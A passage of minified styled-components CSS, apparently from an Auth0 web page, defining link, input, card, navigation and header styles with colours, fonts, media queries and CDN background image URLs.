!important;color:#635DFF;font-family:Inter;font-style:NORMAL;font-weight:500;font-size:1.4rem;-webkit-letter-spacing:0rem;-moz-letter-spacing:0rem;-ms-letter-spacing:0rem;letter-spacing:0rem;line-height:2.2rem;color:#99A7F1;-webkit-text-decoration:underline;text-decoration:underline;text-underline-offset:0.3rem;cursor:pointer;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content;}/*!sc*/ @media screen and (min-width:900px){.dpsQkm{color:#635DFF;font-family:Inter;font-style:NORMAL;font-weight:500;font-size:1.4rem;-webkit-letter-spacing:0rem;-moz-letter-spacing:0rem;-ms-letter-spacing:0rem;letter-spacing:0rem;line-height:2.2rem;color:#99A7F1;}}/*!sc*/ @media screen and (min-width:1200px){.dpsQkm{color:#635DFF;font-family:Inter;font-style:NORMAL;font-weight:500;font-size:1.4rem;-webkit-letter-spacing:0rem;-moz-letter-spacing:0rem;-ms-letter-spacing:0rem;letter-spacing:0rem;line-height:2.2rem;color:#99A7F1;}}/*!sc*/ .dpsQkm:hover{color:#B6CAFF;cursor:pointer;-webkit-text-decoration:underline;text-decoration:underline;}/*!sc*/ .dpsQkm:active{color:#3F59E4;}/*!sc*/ .dpsQkm:focus-visible{outline:0.2rem solid #99A7F1;border-radius:0.4rem;color:#99A7F1;}/*!sc*/ .hwiOrq{margin:0;padding:0;font-family:Inter,sans-serif !important;color:#635DFF;font-family:Inter;font-style:NORMAL;font-weight:500;font-size:1.4rem;-webkit-letter-spacing:0rem;-moz-letter-spacing:0rem;-ms-letter-spacing:0rem;letter-spacing:0rem;line-height:2.2rem;color:#BCBAFF;-webkit-text-decoration:none;text-decoration:none;text-underline-offset:0.3rem;cursor:pointer;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content;}/*!sc*/ @media screen and (min-width:900px){.hwiOrq{color:#635DFF;font-family:Inter;font-style:NORMAL;font-weight:500;font-size:1.4rem;-webkit-letter-spacing:0rem;-moz-letter-spacing:0rem;-ms-letter-spacing:0rem;letter-spacing:0rem;line-height:2.2rem;color:#BCBAFF;}}/*!sc*/ @media screen and (min-width:1200px){.hwiOrq{color:#635DFF;font-family:Inter;font-style:NORMAL;font-weight:500;font-size:1.4rem;-webkit-letter-spacing:0rem;-moz-letter-spacing:0rem;-ms-letter-spacing:0rem;letter-spacing:0rem;line-height:2.2rem;color:#BCBAFF;}}/*!sc*/ .hwiOrq:hover{color:#E9E8FF;cursor:pointer;-webkit-text-decoration:underline;text-decoration:underline;}/*!sc*/ .hwiOrq:active{color:#908BFF;}/*!sc*/ .hwiOrq:focus-visible{outline:0.4rem solid #635DFFCC;border-radius:0.4rem;color:#BCBAFF;}/*!sc*/ data-styled.g238[id="styled__Link-sc-bubr9x-0"]{content:"butiik,bhxyxO,jSunBo,hfCwZi,dpsQkm,hwiOrq,"}/*!sc*/ .bLVyXv{font-family:Aeonik,sans-serif;width:100%;min-width:17.3rem;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;font-size:1.6rem;height:100%;line-height:2.4rem;-webkit-letter-spacing:0.015rem;-moz-letter-spacing:0.015rem;-ms-letter-spacing:0.015rem;letter-spacing:0.015rem;padding:0 0 0 4rem;border-radius:0.6rem;box-sizing:border-box;color:#FFFEFA;background:#111111;outline:none;border:0.1rem solid #555555;}/*!sc*/ .bLVyXv::-webkit-input-placeholder{color:#808080;}/*!sc*/ .bLVyXv::-moz-placeholder{color:#808080;}/*!sc*/ .bLVyXv:-ms-input-placeholder{color:#808080;}/*!sc*/ .bLVyXv::placeholder{color:#808080;}/*!sc*/ .bLVyXv:disabled{background-color:#383838;border:0.1rem solid #555555;color:#555555;}/*!sc*/ .bLVyXv:hover{border:0.1rem solid #808080;}/*!sc*/ data-styled.g240[id="styled__TextInput-sc-zjpc1c-1"]{content:"bLVyXv,"}/*!sc*/ .lrdPx{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;width:100%;min-width:17.3rem;border-radius:0.8rem;padding:0;height:4.8rem;box-sizing:border-box;margin-inline-start:0;margin-inline-end:0;padding-block-start:0;padding-inline-start:0;padding-inline-end:0;padding-block-end:0;border:none;}/*!sc*/ data-styled.g241[id="styled__InputWrapper-sc-zjpc1c-2"]{content:"lrdPx,"}/*!sc*/ .dNHNJo{position:absolute;margin:0 0 0 1.6rem;}/*!sc*/ data-styled.g242[id="styled__SearchIcon-sc-zjpc1c-3"]{content:"dNHNJo,"}/*!sc*/ .gfVdta{background:url(https://cdn.auth0.com/website/components/cta-module/fullwidth/Background.png) right center,no-repeat;color:#fffefa;}/*!sc*/ @media screen and (min-width:1200px){.gfVdta{max-width:153.6rem;margin:0 auto;border-radius:0;}}/*!sc*/ data-styled.g297[id="styled__Grid-sc-vosx1t-0"]{content:"gfVdta,"}/*!sc*/ .cvYPGz{display:grid;grid-template-columns:repeat(6,1fr);-webkit-column-gap:1.6rem;column-gap:1.6rem;margin:0 auto;width:calc(100% - (1.6rem * 2));}/*!sc*/ @media screen and (min-width:900px){.cvYPGz{grid-template-columns:repeat(12,1fr);width:calc(100% - (6.4rem * 2));}}/*!sc*/ @media screen and (min-width:1200px){.cvYPGz{max-width:1312px;-webkit-column-gap:3.2rem;column-gap:3.2rem;}}/*!sc*/ data-styled.g298[id="styled__Content-sc-vosx1t-1"]{content:"cvYPGz,"}/*!sc*/ .hmZChk{grid-column:span 6;}/*!sc*/ @media screen and (min-width:900px){.hmZChk{grid-column:span 7;}}/*!sc*/ data-styled.g299[id="styled__GridItem-sc-vosx1t-2"]{content:"hmZChk,"}/*!sc*/ .iWCUjn{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;gap:1.6rem;width:100%;}/*!sc*/ @media screen and (min-width:900px){.iWCUjn > a{width:100%;}}/*!sc*/ @media screen and (min-width:1200px){.iWCUjn{-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;}.iWCUjn > a{width:-webkit-fit-content;width:-moz-fit-content;width:fit-content;}}/*!sc*/ data-styled.g330[id="styled__ButtonWrapper-sc-2ky66j-2"]{content:"iWCUjn,"}/*!sc*/ .hTMLxH{background:#1E1E1E;border-radius:1.2rem;color:white;cursor:pointer;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;min-height:30rem;padding:3.2rem 3.2rem 4.8rem;-webkit-text-decoration:none;text-decoration:none;-webkit-transition:all 0.2s ease-out;transition:all 0.2s ease-out;width:100%;position:relative;overflow:hidden;}/*!sc*/ .hTMLxH:before{content:' ';background:linear-gradient(148.72deg,#11227A -67.64%,#1E1E1E 58.73%);position:absolute;width:100%;height:100%;opacity:0;top:0;left:0;right:0;bottom:0;-webkit-transition:all 0.2s ease-out;transition:all 0.2s ease-out;z-index:0;}/*!sc*/ .hTMLxH > div{background-image:url(https://cdn.auth0.com/website/website/quantum-web/devx/cards/Background.png);}/*!sc*/ .hTMLxH:nth-child(2) > div{background-image:url(https://cdn.auth0.com/website/website/quantum-web/devx/cards/background-2-resting.png);background-position:bottom -2rem right -2rem;}/*!sc*/ .hTMLxH:nth-child(3) > div{background-image:url(https://cdn.auth0.com/website/website/quantum-web/devx/cards/background-3-resting.png);}/*!sc*/ .hTMLxH:hover:before{opacity:1;}/*!sc*/ .hTMLxH:hover > div{background-image:url(https://cdn.auth0.com/website/website/quantum-web/devx/cards/Background-hover-test.png);}/*!sc*/ .hTMLxH:hover svg{-webkit-transition:all 0.2s ease-out;transition:all 0.2s ease-out;opacity:1;-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0);}/*!sc*/ .hTMLxH:hover:nth-child(2) > div{background-image:url(https://cdn.auth0.com/website/website/quantum-web/devx/cards/background-2-hover.png);}/*!sc*/ .hTMLxH:hover:nth-child(3) > div{background-image:url(https://cdn.auth0.com/website/website/quantum-web/devx/cards/background-3-hover.png);}/*!sc*/ @media screen and (min-width:900px){.hTMLxH{border-radius:1.6rem;min-height:25.6rem;padding:4rem 4rem 4.8rem;}.hTMLxH:nth-child(2) > div{background-position:bottom right -2rem;}}/*!sc*/ @media screen and (min-width:1200px){.hTMLxH{max-width:41.6rem;height:41.6rem;padding:4rem;}}/*!sc*/ data-styled.g352[id="styled__CardWrapper-sc-1f3qc75-0"]{content:"hTMLxH,"}/*!sc*/ .bnYGHo{position:absolute;top:0;right:0;left:0;bottom:0;background-repeat:no-repeat;background-position:bottom -6rem right;background-size:100%;z-index:0;-webkit-transition:all 0.2s ease-out;transition:all 0.2s ease-out;}/*!sc*/ @media screen and (min-width:900px){.bnYGHo{background-size:50%;background-position:bottom right -2rem;}}/*!sc*/ @media screen and (min-width:1200px){.bnYGHo{background-size:100%;background-position:bottom right;}}/*!sc*/ data-styled.g353[id="styled__CardImage-sc-1f3qc75-1"]{content:"bnYGHo,"}/*!sc*/ .lnIRjC{opacity:0;margin-top:auto;z-index:1;-webkit-transform:translateX(-0.8rem);-ms-transform:translateX(-0.8rem);transform:translateX(-0.8rem);}/*!sc*/ data-styled.g354[id="styled__ArrowSvg-sc-1f3qc75-2"]{content:"lnIRjC,"}/*!sc*/ .kBmzHj{max-width:100%;margin:0 1.2rem;}/*!sc*/ @media screen and (min-width:900px){.kBmzHj{margin:0 6.4rem;}}/*!sc*/ @media screen and (min-width:1200px){.kBmzHj{margin:0 auto;max-width:144rem;padding:0 6.4rem;}}/*!sc*/ data-styled.g355[id="styled__CardContainer-sc-fnzurd-0"]{content:"kBmzHj,"}/*!sc*/ .jgYXEj{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;gap:1.6rem;}/*!sc*/ @media screen and (min-width:900px){.jgYXEj{gap:2.4rem;}}/*!sc*/ @media screen and (min-width:1200px){.jgYXEj{-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;gap:3.2rem;margin:0 auto;}}/*!sc*/ data-styled.g356[id="styled__CardWrapper-sc-fnzurd-1"]{content:"jgYXEj,"}/*!sc*/ .guGDRs{position:relative;max-width:17.6rem;border-radius:0.8rem;border:0.1rem solid #555555;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;padding:0;cursor:pointer;}/*!sc*/ data-styled.g403[id="sc-8t61xl-0"]{content:"guGDRs,"}/*!sc*/ .huAclX{width:100%;position:absolute;bottom:0;top:0;cursor:pointer;-webkit-appearance:none;-moz-appearance:none;appearance:none;}/*!sc*/ data-styled.g404[id="sc-8t61xl-1"]{content:"huAclX,"}/*!sc*/ .loMVLS{-webkit-flex:1;-ms-flex:1;flex:1;color:white;text-align:center;border-radius:0.8rem 0 0 0.8rem;background:none;-webkit-appearance:none;-moz-appearance:none;appearance:none;border:0.1rem solid transparent;padding:0.25rem 0;z-index:1;background:#2A2A2A;border-color:#2A2A2A;outline:0.1rem solid #808080;border-radius:0.7rem 0 0 0.7rem;}/*!sc*/ .loMVLS:last-of-type{border-radius:0 0.8rem 0.8rem 0;}/*!sc*/ .loMVLS svg{opacity:0.55;}/*!sc*/ .loMVLS svg{opacity:1;}/*!sc*/ .loMVLS:last-of-type{border-radius:0 0.7rem 0.7rem 0;}/*!sc*/ .loMVLS:hover{background:#2A2A2A;border-color:#2A2A2A;outline:0.1rem solid #555555;}/*!sc*/ .loMVLS:hover svg{opacity:1;}/*!sc*/ .loMVLS:focus{border-color:#555555;outline:0.2rem solid #B6CAFF;}/*!sc*/ .bWbXhw{-webkit-flex:1;-ms-flex:1;flex:1;color:white;text-align:center;border-radius:0.8rem 0 0 0.8rem;background:none;-webkit-appearance:none;-moz-appearance:none;appearance:none;border:0.1rem solid transparent;padding:0.25rem 0;z-index:1;}/*!sc*/ .bWbXhw:last-of-type{border-radius:0 0.8rem 0.8rem 0;border-left-color:#555555;}/*!sc*/ .bWbXhw svg{opacity:0.55;}/*!sc*/ .bWbXhw:hover{background:#2A2A2A;border-color:#2A2A2A;outline:0.1rem solid #555555;}/*!sc*/ .bWbXhw:hover svg{opacity:1;}/*!sc*/ .bWbXhw:focus{border-color:#555555;outline:0.2rem solid #B6CAFF;}/*!sc*/ data-styled.g405[id="sc-8t61xl-2"]{content:"loMVLS,bWbXhw,"}/*!sc*/ .dDTyLk{-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;background:none;border:none;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;gap:0.4rem;-webkit-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}/*!sc*/ .dDTyLk p{-webkit-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}/*!sc*/ .dDTyLk:hover p{-webkit-text-decoration:underline;text-decoration:underline;text-underline-position:from-font;}/*!sc*/ data-styled.g406[id="sc-1xszjru-0"]{content:"dDTyLk,"}/*!sc*/ .ePAqkg{border-bottom:0.1rem solid #555555;width:100%;}/*!sc*/ .ePAqkg span{display:block;}/*!sc*/ @media screen and (min-width:1200px){.ePAqkg span{display:inline;}.ePAqkg span:first-child{margin-right:0.8rem;}}/*!sc*/ data-styled.g407[id="dh4ait-0"]{content:"ePAqkg,"}/*!sc*/ .egvjS{margin-bottom:5.6rem;}/*!sc*/ data-styled.g408[id="wiotl7-0"]{content:"egvjS,"}/*!sc*/ .keAMQj{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;gap:1.2rem;padding:1.6rem 0;-webkit-transition:all 0.2s ease;transition:all 0.2s ease;}/*!sc*/ .keAMQj > button{padding:0;}/*!sc*/ data-styled.g409[id="wiotl7-1"]{content:"keAMQj,"}/*!sc*/ .jbIORl{-webkit-transition:all 0.2s ease;transition:all 0.2s ease;}/*!sc*/ .jbIORl path{fill:#99A7F1;}/*!sc*/ .jbIORl:hover path{fill:#B6CAFF;}/*!sc*/ data-styled.g410[id="wiotl7-2"]{content:"jbIORl,"}/*!sc*/ .gpkRVN{-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;background:none;border:none;color:#99A7F1;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;font-size:1.4rem;font-weight:500;gap:0.4rem;line-height:2rem;-webkit-letter-spacing:0.021rem;-moz-letter-spacing:0.021rem;-ms-letter-spacing:0.021rem;letter-spacing:0.021rem;outline:none;padding:0;-webkit-transition:all 0.2s ease;transition:all 0.2s ease;}/*!sc*/ .gpkRVN:hover{color:#B6CAFF;}/*!sc*/ .gpkRVN:active{color:#3F59E4;}/*!sc*/ .gpkRVN:focus{border-radius:0.8rem;border:0.2rem solid #B6CAFF;}/*!sc*/ .gpkRVN >:first-child{-webkit-text-decoration:underline;text-decoration:underline;text-underline-offset:0.3rem;}/*!sc*/ data-styled.g411[id="wiotl7-3"]{content:"gpkRVN,"}/*!sc*/ .kEAFLS{-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;gap:1.2rem;}/*!sc*/ data-styled.g412[id="i8q3i5-0"]{content:"kEAFLS,"}/*!sc*/ .gZuxfx{-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;border-radius:0.8rem;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;height:4rem;overflow:hidden;width:4rem;}/*!sc*/ data-styled.g413[id="i8q3i5-1"]{content:"gZuxfx,"}/*!sc*/ .caaUaJ{height:100%;width:100%;}/*!sc*/ data-styled.g414[id="i8q3i5-2"]{content:"caaUaJ,"}/*!sc*/ .vobRT{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;gap:0rem;white-space:nowrap;}/*!sc*/ data-styled.g415[id="i8q3i5-3"]{content:"vobRT,"}/*!sc*/ .hdiybx{background:#111;display:none;position:fixed;z-index:100;top:10.4rem;bottom:0;left:0;right:0;width:100%;overflow:auto;}/*!sc*/ data-styled.g421[id="styled__Wrapper-sc-85iotp-0"]{content:"hdiybx,"}/*!sc*/ .iZzMFn{margin-bottom:15rem;padding-left:0;}/*!sc*/ data-styled.g422[id="styled__ContentWrapper-sc-85iotp-1"]{content:"iZzMFn,"}/*!sc*/ .fbKXcX{list-style:none;width:100%;border-bottom:0.1rem solid #2A2A2A;}/*!sc*/ .fbKXcX:first-of-type{border-top:0.1rem solid #2A2A2A;}/*!sc*/ data-styled.g423[id="styled__NavItemContainer-sc-85iotp-2"]{content:"fbKXcX,"}/*!sc*/ .bUCOoz{padding:2.4rem 2rem 2.4rem 1.6rem;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;}/*!sc*/ @media screen and (min-width:900px){.bUCOoz{padding-left:6.4rem;padding-right:6.4rem;}}/*!sc*/ data-styled.g424[id="styled__NavLinkContainer-sc-85iotp-3"]{content:"bUCOoz,"}/*!sc*/ .dETrsJ{font-family:Aeonik,sans-serif;font-weight:500;font-size:2rem;line-height:2.8rem;-webkit-letter-spacing:-0.01rem;-moz-letter-spacing:-0.01rem;-ms-letter-spacing:-0.01rem;letter-spacing:-0.01rem;color:#FFFEFA;display:inline-block;width:100%;}/*!sc*/ .dETrsJ:hover{color:#BCBAFF;}/*!sc*/ data-styled.g425[id="styled__NavLink-sc-85iotp-4"]{content:"dETrsJ,"}/*!sc*/ .jJmhNW{font-family:Aeonik,sans-serif;font-weight:500;font-size:2rem;line-height:2.8rem;-webkit-letter-spacing:0.01rem;-moz-letter-spacing:0.01rem;-ms-letter-spacing:0.01rem;letter-spacing:0.01rem;color:#FFFEFA;margin:0;padding:2.4rem 0 2.4rem 1.6rem;position:relative;-webkit-transition:color 0.2s;transition:color 0.2s;}/*!sc*/ .jJmhNW::before{border-style:solid;border-width:0.1em 0.1em 0 0;content:'';display:inline-block;height:1.4rem;right:3rem;top:calc(50% - 0.83rem);position:absolute;vertical-align:top;width:1.4rem;-webkit-transform:rotate(135deg);-ms-transform:rotate(135deg);transform:rotate(135deg);-webkit-transition:-webkit-transform 0.4s ease;-webkit-transition:transform 0.4s ease;transition:transform 0.4s ease;}/*!sc*/ @media screen and (min-width:900px){.jJmhNW{padding-left:6.4rem;}.jJmhNW:before{right:7rem;}}/*!sc*/ data-styled.g426[id="styled__NavItemTitle-sc-85iotp-5"]{content:"jJmhNW,"}/*!sc*/ .dAmhCz{overflow:hidden;height:auto;-webkit-transition:max-height 0.3s ease-out;transition:max-height 0.3s ease-out;padding-left:1.6rem;background:#191919;height:0;max-height:0;}/*!sc*/ @media screen and (min-width:900px){.dAmhCz{padding-left:6.4rem;}}/*!sc*/ data-styled.g427[id="styled__NavItem-sc-85iotp-6"]{content:"dAmhCz,"}/*!sc*/ .QEhDV:not(:last-of-type){margin-bottom:3.2rem;}/*!sc*/ .QEhDV:last-of-type{padding-bottom:1.6rem;}/*!sc*/ data-styled.g428[id="styled__ColumnContainer-sc-85iotp-7"]{content:"QEhDV,"}/*!sc*/ .dhdvtD{font-family:Aeonik Mono,monospace;font-size:1.4rem;line-height:2rem;font-weight:500;-webkit-letter-spacing:0.14rem;-moz-letter-spacing:0.14rem;-ms-letter-spacing:0.14rem;letter-spacing:0.14rem;text-transform:uppercase;color:#8c929c;margin:0 0 2rem;padding-top:3.2rem;}/*!sc*/ data-styled.g429[id="styled__ColumnItemTitle-sc-85iotp-8"]{content:"dhdvtD,"}/*!sc*/ .lbxxTt{list-style:none;padding:0;margin:0;}/*!sc*/ data-styled.g431[id="styled__ColumnList-sc-85iotp-10"]{content:"lbxxTt,"}/*!sc*/ .ihpWnt{font-family:Aeonik,sans-serif;font-size:2rem;line-height:2.8rem;-webkit-letter-spacing:0.01rem;-moz-letter-spacing:0.01rem;-ms-letter-spacing:0.01rem;letter-spacing:0.01rem;margin-bottom:2rem;}/*!sc*/ .ihpWnt a{color:#FFFEFA;display:inline-block;width:100%;}/*!sc*/ .ihpWnt a:hover{color:#BCBAFF;}/*!sc*/ data-styled.g432[id="styled__ColumnListItem-sc-85iotp-11"]{content:"ihpWnt,"}/*!sc*/ .hiEELR{-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;width:100%;padding:1.6rem;margin:0 auto;border-top:0.1rem solid #2A2A2A;position:fixed;bottom:0;left:0;right:0;text-align:center;background:#111;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;}/*!sc*/ @media screen and (min-width:900px){.hiEELR{padding:3.2rem 6.4rem;}}/*!sc*/ data-styled.g436[id="styled__ButtonContainer-sc-85iotp-15"]{content:"hiEELR,"}/*!sc*/ .epRiIO{width:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;gap:1.6rem;}/*!sc*/ data-styled.g439[id="styled__SecondaryButtonContainer-sc-85iotp-18"]{content:"epRiIO,"}/*!sc*/ .kXBJzn{background:#242424;color:#FFFFFF;width:100%;margin:auto;font-size:1.4rem;line-height:2rem;text-align:left;font-family:Aeonik,sans-serif;border-bottom:0.1rem solid #41454C;border-bottom:0.2rem solid;border-image-slice:1;border-image-source:linear-gradient( 135deg,#4cb7a3 0%,#3f59e4 50%,#4016a0 100% );}/*!sc*/ @media screen and (min-width:900px){.kXBJzn{text-align:left;}}/*!sc*/ data-styled.g441[id="styled__Wrapper-q607n8-0"]{content:"kXBJzn,"}/*!sc*/ .bTcOHV{width:100%;max-width:144rem;min-height:4rem;margin:auto;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;padding:1rem 1.6rem;}/*!sc*/ @media screen and (min-width:900px){.bTcOHV{padding:1rem 6.4rem;}}/*!sc*/ @media screen and (min-width:1200px){.bTcOHV{padding:0 6.4rem;}}/*!sc*/ data-styled.g442[id="styled__Container-q607n8-1"]{content:"bTcOHV,"}/*!sc*/ .iXBkOf{-webkit-flex:1;-ms-flex:1;flex:1;padding:0;cursor:pointer;}/*!sc*/ @media screen and (min-width:900px){.iXBkOf{padding:0;}}/*!sc*/ @media screen and (min-width:1200px){.iXBkOf{padding:0.9rem 0;margin-right:2.4rem;}}/*!sc*/ .iXBkOf:hover .styled__CTA-q607n8-4{color:#B6CAFF;}/*!sc*/ data-styled.g446[id="styled__Message-q607n8-5"]{content:"iXBkOf,"}/*!sc*/ .gncCYg{display:none;}/*!sc*/ @media screen and (min-width:1200px){.gncCYg{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;}}/*!sc*/ data-styled.g447[id="styled__Buttons-q607n8-6"]{content:"gncCYg,"}/*!sc*/ .gGyWpQ{color:#FFFFFF;cursor:pointer;font-weight:500;display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;}/*!sc*/ .gGyWpQ:focus{outline:none;}/*!sc*/ .gGyWpQ:hover,.gGyWpQ:focus{color:#B6CAFF;}/*!sc*/ data-styled.g448[id="styled__Login-q607n8-7"]{content:"gGyWpQ,"}/*!sc*/ .dHTtIj{height:10.4rem;width:100%;margin:0 auto;}/*!sc*/ @media screen and (min-width:1200px){.dHTtIj{display:none;}}/*!sc*/ data-styled.g456[id="styled__HeaderBackMobile-sc-1755fzv-1"]{content:"dHTtIj,"}/*!sc*/ .TGnyL{height:0.1rem;position:absolute;visibility:hidden;top:0;}/*!sc*/ data-styled.g457[id="styled__ObservedPixel-sc-1755fzv-2"]{content:"TGnyL,"}/*!sc*/ .kwaEt{position:fixed;top:0;left:0;width:100%;z-index:1000;color:#FFFEFA;}/*!sc*/ data-styled.g458[id="styled__Header-sc-1755fzv-3"]{content:"kwaEt,"}/*!sc*/ .hfWran{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;}/*!sc*/ data-styled.g459[id="styled__LogoWrapper-sc-1755fzv-4"]{content:"hfWran,"}/*!sc*/ .cUYhhG{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-flex:1;-ms-flex:1;flex:1;}/*!sc*/ data-styled.g460[id="styled__LogoWrapperMobile-sc-1755fzv-5"]{content:"cUYhhG,"}/*!sc*/ .fblBoo{-webkit-transition:background-color 0.2s ease,border-radius 0.2s ease;transition:background-color 0.2s ease,border-radius 0.2s ease;position:relative;display:none;width:100%;max-width:100%;margin:auto;padding:0 6.4rem;background-color:#111;}/*!sc*/ @media screen and (min-width:1200px){.fblBoo{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;}}/*!sc*/ .fblBoo:hover{background-color:#111;border-radius:0 0 1.6rem 1.6rem;}/*!sc*/ data-styled.g461[id="styled__NavDesktop-sc-1755fzv-6"]{content:"fblBoo,"}/*!sc*/ .bCnrpr{max-width:131.2rem;width:100%;margin:auto;-webkit-transition:background-color 0.2s ease,border-radius 0.2s ease;transition:background-color 0.2s ease,border-radius 0.2s ease;position:relative;padding:0 6.4rem;background-color:#111;}/*!sc*/ @media screen and (min-width:1200px){.bCnrpr{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;padding:0;}}/*!sc*/ .bCnrpr:hover{background-color:#111;border-radius:0 0 1.6rem 1.6rem;}/*!sc*/ data-styled.g462[id="styled__NavDesktopContainer-sc-1755fzv-7"]{content:"bCnrpr,"}/*!sc*/ .hLHYiD{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;}/*!sc*/ data-styled.g463[id="styled__ButtonList-sc-1755fzv-8"]{content:"hLHYiD,"}/*!sc*/ .gZnwIf{max-width:144rem;width:100%;margin:auto;padding:1.2rem 1.6rem;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;background-color:#111;height:6.4rem;box-shadow:inset 0 -0.1rem 0 #2A2A2A;position:relative;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;}/*!sc*/ @media screen and (min-width:900px){.gZnwIf{padding:1.6rem 6.4rem;}}/*!sc*/ @media screen and (min-width:1200px){.gZnwIf{display:none;}}/*!sc*/ data-styled.g464[id="styled__NavMobile-sc-1755fzv-9"]{content:"gZnwIf,"}/*!sc*/ .UKpEE{justify-self:flex-end;padding:2rem 0;}/*!sc*/ data-styled.g465[id="styled__RightColumnMobile-sc-1755fzv-10"]{content:"UKpEE,"}/*!sc*/ .iHuLVG{-webkit-appearance:none;-moz-appearance:none;appearance:none;border:0;background:transparent;height:2.4rem;margin:0;padding:0;position:relative;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;cursor:pointer;-webkit-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}/*!sc*/ data-styled.g466[id="styled__BurgerIconWrapper-sc-1755fzv-11"]{content:"iHuLVG,"}/*!sc*/ .dGpEKR{width:2.2rem;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;height:0.25rem;background:#FFFFFF;-webkit-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;margin-top:1.2rem;}/*!sc*/ .dGpEKR::before,.dGpEKR::after{content:'';position:absolute;width:2.2rem;height:0.25rem;background:#FFFFFF;-webkit-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}/*!sc*/ .dGpEKR::before{-webkit-transform:translateY(-0.7rem);-ms-transform:translateY(-0.7rem);transform:translateY(-0.7rem);}/*!sc*/ .dGpEKR::after{-webkit-transform:translateY(0.7rem);-ms-transform:translateY(0.7rem);transform:translateY(0.7rem);}/*!sc*/ data-styled.g467[id="styled__BurgerIcon-sc-1755fzv-12"]{content:"dGpEKR,"}/*!sc*/ .gJozFS{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;padding:0;list-style:none;margin:0;line-height:2.4rem;}/*!sc*/ data-styled.g468[id="styled__NavList-sc-1755fzv-13"]{content:"gJozFS,"}/*!sc*/ .iyaTlV{color:#FFFEFA;cursor:initial;padding-top:0.9rem;width:104.4rem;position:absolute;left:0;right:0;margin:-0.1rem auto 0;top:6.4rem;display:inline-block;visibility:hidden;opacity:0;-webkit-transform:translateX(-1.6rem);-ms-transform:translateX(-1.6rem);transform:translateX(-1.6rem);-webkit-transition:visibility 0s,opacity 0.2s linear,-webkit-transform 0.2s linear;-webkit-transition:visibility 0s,opacity 0.2s linear,transform 0.2s linear;transition:visibility 0s,opacity 0.2s linear,transform 0.2s linear;}/*!sc*/ data-styled.g469[id="styled__NavElementContentWrapper-sc-1755fzv-14"]{content:"iyaTlV,"}/*!sc*/ .goPIno{position:relative;-webkit-transition:color 